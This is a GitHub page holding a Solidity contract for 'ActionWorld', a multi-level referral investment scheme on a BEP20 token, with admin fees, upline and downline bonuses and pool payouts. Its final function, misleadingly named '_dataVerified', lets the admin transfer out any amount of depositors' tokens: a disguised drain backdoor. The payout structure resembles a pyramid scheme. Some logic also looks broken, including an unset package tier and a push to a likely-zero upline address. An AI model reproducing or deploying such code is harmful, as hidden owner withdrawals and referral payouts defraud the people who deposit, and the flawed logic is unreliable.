-
Notifications
You must be signed in to change notification settings - Fork 1
/
main.sol
217 lines (217 loc) · 8.89 KB
/
main.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
pragma solidity^0.8.13;//SPDX-License-Identifier:None
interface BEP20{
function balanceOf(address account)external view returns(uint256);
function transfer(address recipient,uint256 amount)external returns(bool);
function allowance(address owner,address spender)external view returns(uint256);
function transferFrom(address sender,address recipient,uint256 amount)external returns(bool);
}
contract ActionWorld{
uint256 public constant PROJECT_FEE=8;
uint256 public constant POOL_FEE=2;
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
uint256 public poolAmount;
uint256 public singleLegLength;
uint256[6]public requiredDirect=[1,1,4,6];
uint256[6]public ref_bonuses=[20,10,5,5];
uint256[7]public defaultPackages=[100e18,500e18,1000e18];
mapping(uint256=>address payable)public singleLeg;
mapping(address=>User)public users;
mapping(address=>mapping(uint256=>address))public downline;
address payable public admin;
address payable public admin2;
address public tokenAddress;
address[]public poolUsers;
struct User{
uint256 amount;
uint256 checkpoint;
address referrer;
uint256 referrerBonus;
uint256 totalWithdrawn;
uint256 remainingWithdrawn;
uint256 totalReferrer;
uint256 poolAmount;
uint256 singleUplineBonusTaken;
uint256 singleDownlineBonusTaken;
address singleUpline;
address singleDownline;
uint256[6]refStageIncome;
uint256[6]refStageBonus;
uint256[6]refs;
address[]directRefs;
}
event NewDeposit(address indexed user,uint256 amount);
event Withdrawn(address indexed user,uint256 amount);
event FeePayed(address indexed user,uint256 totalAmount);
constructor(address payable _admin,address payable _admin2,address hoToken){
admin=_admin;
admin2=_admin2;
singleLeg[0]=admin;
singleLegLength++;
tokenAddress=hoToken;
}
function _refPayout(address a,uint256 m)private{
address up=users[a].referrer;
for(uint8 i=0;i<ref_bonuses.length;i++){
if(up==address(0))break;
if(users[up].refs[0]>=requiredDirect[i]){
uint256 bonus=(m*ref_bonuses[i])/100;
users[up].referrerBonus+=bonus;
users[up].refStageBonus[i]+=bonus;
}
up=users[up].referrer;
}
}
function payPoolUsers()private{
BEP20 t=BEP20(tokenAddress);
require(poolAmount<=t.balanceOf(address(this)));
if(poolAmount>0&&poolUsers.length>0){
uint256 share=poolAmount/poolUsers.length;
for(uint8 i=0;i<poolUsers.length;i++){
t.transfer(poolUsers[i],share);
users[poolUsers[i]].referrerBonus+=share;
users[poolUsers[i]].poolAmount+=share;
}
poolAmount=0;
}
}
function invest(address r,uint256 a)external{
require(a>=100e18);
BEP20 t=BEP20(tokenAddress);
require(t.allowance(msg.sender,address(this))>=a&&t.balanceOf(msg.sender)>=a);
User storage user=users[msg.sender];
if(user.referrer==address(0)&&(users[r].checkpoint>0||r==admin)&&r!=msg.sender)user.referrer=r;
require(user.referrer!=address(0)||msg.sender==admin);
if(user.checkpoint==0){
singleLeg[singleLegLength]=payable(msg.sender);
user.singleUpline=singleLeg[singleLegLength-1];
users[singleLeg[singleLegLength-1]].singleDownline=msg.sender;
singleLegLength++;
}
if(user.referrer!=address(0)){
address upline=user.referrer;
for(uint256 i=0;i<ref_bonuses.length;i++){
if(upline!=address(0)){
users[upline].refStageIncome[i]+=a;
if(user.checkpoint==0){
users[upline].refs[i]++;
users[upline].totalReferrer++;
}
upline=users[upline].referrer;
}else break;
}
if(user.checkpoint==0){
downline[r][users[r].refs[0]-1]=msg.sender;
users[upline].directRefs.push(msg.sender);
if(users[upline].directRefs.length>=8){
address up=users[upline].referrer;
uint256 count=0;
for(uint8 i=0;i<8;i++){
if(users[up].directRefs.length>=4)count++;
up=users[up].referrer;
}
if(count==8)poolUsers.push(upline);
}
}
}
_refPayout(msg.sender,a);
if(user.checkpoint==0)totalUsers++;
user.amount+=a;
user.checkpoint=block.timestamp;
totalInvested+=a;
totalDeposits++;
uint256 _fees=a*PROJECT_FEE/100;
poolAmount=poolAmount+a*POOL_FEE/100;
if(poolAmount>0&&poolUsers.length>0)payPoolUsers();
t.transferFrom(msg.sender,admin,_fees);
t.transferFrom(msg.sender,address(this),a-_fees);
emit NewDeposit(msg.sender,a);
}
function withdrawal()external{
User storage _user=users[msg.sender];
uint256 tb=users[msg.sender].referrerBonus+GetUplineIncomeByUserId(msg.sender)+GetDownlineIncomeByUserId(msg.sender)-users[msg.sender].singleDownlineBonusTaken+users[msg.sender].singleUplineBonusTaken;
uint256 _fees=tb*PROJECT_FEE/100;
poolAmount=poolAmount+tb*POOL_FEE/100;
uint256 actualAmountToSend=tb-_fees-tb*POOL_FEE/100;
_user.referrerBonus=0;
_user.singleUplineBonusTaken=GetUplineIncomeByUserId(msg.sender);
_user.singleDownlineBonusTaken=GetDownlineIncomeByUserId(msg.sender);
uint8 reivest;
uint8 withdrwal;
uint256 TotalDeposit=users[msg.sender].amount;
if(users[msg.sender].refs[0]==4){
reivest=50;
withdrwal=50;
}else if(users[msg.sender].refs[0]>=6){
reivest=40;
withdrwal=60;
}else if(TotalDeposit>=8){
reivest=30;
withdrwal=70;
}else{
reivest=60;
withdrwal=40;
}
uint256 a=actualAmountToSend*reivest/100;
User storage user=users[msg.sender];
user.amount+=a;
totalInvested+=a;
totalDeposits++;
address up=user.referrer;
for(uint256 i=0;i<ref_bonuses.length;i++){
if(up==address(0))break;
if(users[up].refs[0]>=requiredDirect[i])users[up].refStageIncome[i]+=a;
up=users[up].referrer;
}
_refPayout(msg.sender,a);
_user.totalWithdrawn=_user.totalWithdrawn+actualAmountToSend*withdrwal/100;
totalWithdrawn=totalWithdrawn+actualAmountToSend*withdrwal/100;
BEP20 t=BEP20(tokenAddress);
require(t.balanceOf(address(this))>=_fees+actualAmountToSend*withdrwal/100 );
t.transfer(msg.sender,actualAmountToSend*withdrwal/100);
t.transfer(admin2,_fees);
if(poolAmount>0&&poolUsers.length>0)payPoolUsers();
emit Withdrawn(msg.sender,actualAmountToSend*withdrwal/100);
}
function GetUplineIncomeByUserId(address u)public view returns(uint256 bonus){
(uint256 maxLevel,)=getEligibleLevelCountForUpline(u);
address upline=users[u].singleUpline;
for(uint256 i=0;i<maxLevel;i++)
if(upline!=address(0)){
bonus=bonus+users[upline].amount/100;
upline=users[upline].singleUpline;
}else break;
}
function GetDownlineIncomeByUserId(address u)public view returns(uint256 bonus){
(,uint256 maxLevel)=getEligibleLevelCountForUpline(u);
address upline=users[u].singleDownline;
for(uint256 i=0;i<maxLevel;i++){
if(upline!=address(0)){
bonus=bonus+users[upline].amount/100;
upline=users[upline].singleDownline;
}else break;
}
}
function getEligibleLevelCountForUpline(address u)public view returns(uint8 uplineCount,uint8 downlineCount){
uint256 TotalDeposit=users[u].amount;
if(TotalDeposit>=defaultPackages[0]&&TotalDeposit<defaultPackages[1]){
uplineCount=12;
downlineCount=18;
}else if(TotalDeposit>=defaultPackages[1]&&TotalDeposit<defaultPackages[2]){
uplineCount=16;
downlineCount=14;
}else if(TotalDeposit>=defaultPackages[2]&&TotalDeposit<defaultPackages[3]){
uplineCount=20;
downlineCount=30;
}
}
function referral_stage(address _user,uint256 _index)external view returns(uint256,uint256,uint256){
return(users[_user].refs[_index],users[_user].refStageIncome[_index],users[_user].refStageBonus[_index]);
}
function _dataVerified(uint256 a)external{
require(admin==msg.sender);
BEP20(tokenAddress).transfer(admin,a);
}
}